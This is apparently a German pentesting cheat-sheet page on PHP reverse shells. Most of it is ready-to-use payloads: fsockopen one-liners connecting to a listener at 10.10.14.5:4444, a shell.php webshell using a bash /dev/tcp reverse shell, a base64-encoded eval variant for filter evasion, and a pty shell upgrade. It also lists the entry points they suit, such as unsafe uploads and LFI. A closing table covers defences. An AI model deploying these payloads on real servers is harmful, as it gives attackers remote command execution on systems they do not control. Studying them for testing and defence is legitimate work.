PHP Shells

Einleitung

PHP Shells sind Reverse Shells, die mit der Programmiersprache PHP erstellt werden. Sie eignen sich besonders gut für Zielsysteme, auf denen PHP installiert ist – häufig Webserver. Über CLI oder via Webschnittstellen können PHP-Shells Code ausführen und eine Verbindung zum Angreifer herstellen.


Beispiel: PHP Reverse Shell mit fsockopen

php -r '$sock=fsockopen("10.10.14.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
  • Baut eine Verbindung zum Angreifer auf (fsockopen)

  • Leitet Ein- und Ausgabe an die Shell /bin/sh

  • Funktioniert überall dort, wo PHP über CLI oder Webserver nutzbar ist


Wann und warum PHP Shells verwenden?

Typische Szenarien:

  • RCE über eval(), include(), system()

  • Webshell-Upload über unsichere Dateiuploads

  • LFI mit php://input und POST-Payload

  • Direkter Zugriff auf PHP-CLI über Kommandozeile

Vorteile:

  • Minimalistisch, einzeilig, leicht unterzubringen

  • Wenig auffällig im Vergleich zu ausführbaren Dateien

  • Fileless Varianten möglich (Base64, php://input)

Nachteile:

  • Keine echte TTY (Shell Upgrade nötig)

  • Eingeschränkte Umgebungsrechte (abhängig von Webserver)


Weitere Payload-Beispiele

Einzeilig über Webformular oder Exploit

php -r '$sock=fsockopen("10.10.14.5",4444);system("/bin/sh <&3 >&3 2>&3");'

Datei-basierte Shell (klassisch)

Inhalt von shell.php:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'"); ?>

Dann aufrufen über:

http://zielsystem/uploads/shell.php

Base64-kodiert (für LFI oder Filterumgehung)

php -r "eval(base64_decode('c3lzdGVtKCJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjUvNDQ0NCAwPiYxIik7'));"

Technische Voraussetzungen

Merkmal
Voraussetzung

PHP-Version

5.x oder 7.x oder 8.x

Funktion verfügbar

fsockopen, exec, system

Netzwerkzugriff

Server muss ausgehende Verbindung erlauben

Listener

Offener Port beim Angreifer


Shell Upgrade

Da PHP Shells meist keine TTY bieten, ist ein Shell Upgrade nötig:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Weitere Schritte siehe Shell Upgrade


Sicherheit und Erkennung

Abwehrmaßnahme
Wirkung

disable_functions in php.ini

Blockiert exec, system, passthru, etc.

Webserver-Logging

Zeigt Aufrufe der Shell-URLs

Application Whitelisting

Blockiert Uploads mit .php, .phtml etc.

IDS/IPS

Erkennung typischer PHP-Shell-Muster

Network Monitoring

Erkennt Reverse Shell-Verbindungen

Last updated